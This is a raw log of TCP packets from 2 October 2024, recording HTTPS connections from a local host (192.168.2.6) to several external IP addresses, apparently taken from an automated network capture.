Oct 2, 2024 17:17:33.949194908 CEST	65287	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:33.949213028 CEST	443	65287	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:33.949242115 CEST	65287	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:33.949248075 CEST	443	65287	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:33.951200962 CEST	65288	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:33.951241970 CEST	443	65288	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:33.951318979 CEST	65288	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:33.951612949 CEST	65289	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:33.951663017 CEST	443	65289	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:33.951683998 CEST	65288	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:33.951695919 CEST	443	65288	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:33.951718092 CEST	65289	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:33.951883078 CEST	65289	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:33.951895952 CEST	443	65289	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:34.428555012 CEST	443	65288	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:34.428633928 CEST	65288	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:34.430208921 CEST	65288	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:34.430221081 CEST	443	65288	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:34.430449009 CEST	443	65288	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:34.431849957 CEST	65288	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:34.431879997 CEST	65288	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:34.431920052 CEST	443	65288	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:34.635883093 CEST	443	65289	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:34.635983944 CEST	65289	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:34.636884928 CEST	65289	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:34.636899948 CEST	443	65289	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:34.639233112 CEST	65289	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:34.639246941 CEST	443	65289	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:34.964143038 CEST	443	65288	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:34.964358091 CEST	443	65288	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:34.964425087 CEST	65288	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:34.965008020 CEST	65288	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:34.965029001 CEST	443	65288	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:34.965050936 CEST	65288	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:34.965056896 CEST	443	65288	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:34.969573975 CEST	65290	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:34.969616890 CEST	443	65290	104.21.84.18	192.168.2.6
Oct 2, 2024 17:17:34.969676971 CEST	65290	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:34.970143080 CEST	65290	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:34.970158100 CEST	443	65290	104.21.84.18	192.168.2.6
Oct 2, 2024 17:17:35.418044090 CEST	65290	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:35.420702934 CEST	65291	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:35.420766115 CEST	443	65291	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:35.420835972 CEST	65291	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:35.421355963 CEST	65291	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:35.421370983 CEST	443	65291	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:35.525429964 CEST	443	65289	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:35.525525093 CEST	443	65289	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:35.525547028 CEST	65289	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:35.525564909 CEST	65289	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:35.525824070 CEST	65289	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:35.525840044 CEST	443	65289	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:35.528480053 CEST	65292	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:35.528587103 CEST	443	65292	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:35.528711081 CEST	65292	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:35.529021025 CEST	65292	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:35.529057980 CEST	443	65292	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:35.881676912 CEST	443	65291	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:35.881787062 CEST	65291	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:35.883282900 CEST	65291	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:35.883330107 CEST	443	65291	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:35.883609056 CEST	443	65291	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:35.885159969 CEST	65291	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:35.885212898 CEST	65291	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:35.885260105 CEST	443	65291	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:36.168366909 CEST	443	65292	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:36.168450117 CEST	65292	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:36.170239925 CEST	65292	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:36.170264959 CEST	443	65292	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:36.172055960 CEST	65292	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:36.172070980 CEST	443	65292	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:36.414812088 CEST	443	65291	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:36.414983034 CEST	443	65291	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:36.415049076 CEST	65291	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:36.415294886 CEST	65291	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:36.415327072 CEST	443	65291	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:36.415349960 CEST	65291	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:36.415360928 CEST	443	65291	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:36.420367002 CEST	65293	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:36.420469999 CEST	443	65293	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:36.420557022 CEST	65293	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:36.421458960 CEST	65293	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:36.421488047 CEST	443	65293	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:36.850079060 CEST	443	65292	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:36.850100040 CEST	443	65292	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:36.850167036 CEST	65292	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:36.850199938 CEST	443	65292	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:36.850219965 CEST	443	65292	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:36.850256920 CEST	65292	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:36.850434065 CEST	65292	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:36.850450993 CEST	443	65292	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:36.852936029 CEST	65294	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:36.852973938 CEST	443	65294	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:36.853040934 CEST	65294	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:36.853339911 CEST	65294	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:36.853348970 CEST	443	65294	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:36.878810883 CEST	443	65293	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:36.878879070 CEST	65293	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:36.880248070 CEST	65293	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:36.880264044 CEST	443	65293	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:36.880539894 CEST	443	65293	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:36.881725073 CEST	65293	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:36.881776094 CEST	65293	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:36.881810904 CEST	443	65293	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:37.329155922 CEST	443	65293	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:37.329248905 CEST	443	65293	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:37.329680920 CEST	65293	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:37.330686092 CEST	65293	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:37.330735922 CEST	443	65293	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:37.330765009 CEST	65293	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:37.330781937 CEST	443	65293	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:37.333532095 CEST	65295	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:37.333587885 CEST	443	65295	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:37.333667040 CEST	65295	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:37.334353924 CEST	65295	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:37.334374905 CEST	443	65295	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:37.518306017 CEST	443	65294	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:37.518377066 CEST	65294	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:37.518978119 CEST	65294	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:37.518982887 CEST	443	65294	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:37.521120071 CEST	65294	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:37.521125078 CEST	443	65294	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:37.821790934 CEST	443	65295	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:37.821863890 CEST	65295	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:37.823446035 CEST	65295	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:37.823452950 CEST	443	65295	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:37.823704958 CEST	443	65295	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:37.825447083 CEST	65295	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:37.825447083 CEST	65295	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:37.825525999 CEST	443	65295	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:38.521822929 CEST	443	65294	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:38.521848917 CEST	443	65294	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:38.521931887 CEST	65294	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:38.521941900 CEST	443	65294	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:38.522011995 CEST	65294	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:38.523363113 CEST	443	65295	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:38.523463011 CEST	443	65295	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:38.526899099 CEST	65295	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:38.555787086 CEST	65295	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:38.555787086 CEST	65295	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:38.555815935 CEST	443	65295	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:38.555825949 CEST	443	65295	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:38.555957079 CEST	65294	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:38.555978060 CEST	443	65294	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:38.560734034 CEST	65296	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:38.560784101 CEST	443	65296	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:38.560853958 CEST	65296	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:38.561224937 CEST	65296	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:38.561237097 CEST	443	65296	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:38.570091009 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:38.570131063 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:38.571335077 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:38.571335077 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:38.571374893 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:39.419054031 CEST	443	65296	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:39.419183969 CEST	65296	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:39.419820070 CEST	65296	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:39.419830084 CEST	443	65296	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:39.420811892 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:39.420886040 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:39.422169924 CEST	65296	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:39.422177076 CEST	443	65296	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:39.422689915 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:39.422703981 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:39.423011065 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:39.424526930 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:39.471399069 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:39.912808895 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:39.912849903 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:39.912880898 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:39.912940025 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:39.912955999 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:39.913002968 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:39.913017035 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:40.015646935 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:40.015681982 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:40.015842915 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:40.015842915 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:40.015862942 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:40.016338110 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:40.020782948 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:40.020881891 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:40.020962954 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:40.021291971 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:40.021291971 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:40.021291971 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:40.023587942 CEST	65298	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:40.023627996 CEST	443	65298	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:40.023914099 CEST	65298	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:40.024377108 CEST	65298	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:40.024389982 CEST	443	65298	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:40.119152069 CEST	443	65296	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:40.119220018 CEST	65296	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:40.119288921 CEST	443	65296	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:40.119379044 CEST	65296	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:40.119411945 CEST	443	65296	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:40.119434118 CEST	443	65296	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:40.119468927 CEST	65296	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:40.119503975 CEST	65296	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:40.119503975 CEST	65296	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:40.119545937 CEST	65296	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:40.323569059 CEST	65297	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:40.323599100 CEST	443	65297	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:40.398726940 CEST	65299	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:40.398786068 CEST	443	65299	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:40.399394035 CEST	65299	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:40.399698973 CEST	65299	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:40.399713993 CEST	443	65299	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:40.490540028 CEST	443	65298	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:40.490647078 CEST	65298	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:40.491945028 CEST	65298	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:40.491955996 CEST	443	65298	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:40.492189884 CEST	443	65298	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:40.493379116 CEST	65298	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:40.493405104 CEST	65298	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:40.493451118 CEST	443	65298	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:41.007194042 CEST	443	65298	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:41.007477045 CEST	443	65298	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:41.007541895 CEST	65298	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:41.017512083 CEST	65298	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:41.017544985 CEST	443	65298	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:41.017559052 CEST	65298	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:41.017565966 CEST	443	65298	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:41.039280891 CEST	443	65299	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:41.039366961 CEST	65299	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:41.057512045 CEST	65299	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:41.057532072 CEST	443	65299	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:41.059987068 CEST	65299	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:41.059993029 CEST	443	65299	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:41.060318947 CEST	65299	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:41.060332060 CEST	443	65299	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:41.620984077 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:41.621049881 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:41.621109962 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:41.718122005 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:41.718161106 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:41.742804050 CEST	443	65299	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:41.742875099 CEST	65299	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:41.742896080 CEST	443	65299	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:41.742916107 CEST	443	65299	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:41.742954969 CEST	65299	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:41.743854046 CEST	65299	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:41.743866920 CEST	443	65299	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.366287947 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.366388083 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.367222071 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.367238045 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.369414091 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.369426966 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.797051907 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.797084093 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.797102928 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.797116995 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.797154903 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.797166109 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.797211885 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.828064919 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.828104019 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.828147888 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.828166008 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.828206062 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.828223944 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.895009995 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.895034075 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.895097971 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.895133972 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.895149946 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.895176888 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.925679922 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.925723076 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.925782919 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.925870895 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.925915956 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.925941944 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.965706110 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.965771914 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.965801001 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.965815067 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.965857983 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.992486954 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.992533922 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.992563963 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:42.992572069 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:42.992645025 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.016865015 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.016897917 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.016978025 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.016985893 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.017040968 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.030116081 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.030145884 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.030199051 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.030205011 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.030246973 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.047739029 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.047768116 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.047838926 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.047844887 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.047880888 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.065125942 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.065188885 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.065233946 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.065239906 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.065294981 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.079380035 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.079471111 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.079619884 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.079628944 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.079688072 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.098000050 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.098052979 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.098099947 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.098105907 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.098148108 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.110755920 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.110819101 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.110862017 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.110867977 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.110915899 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.120528936 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.120573997 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.120618105 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.120646954 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.120666027 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.122423887 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.131542921 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.131597042 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.131644011 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.131664038 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.131696939 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.134439945 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.139301062 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.139344931 CEST	443	65300	49.12.197.9	192.168.2.6
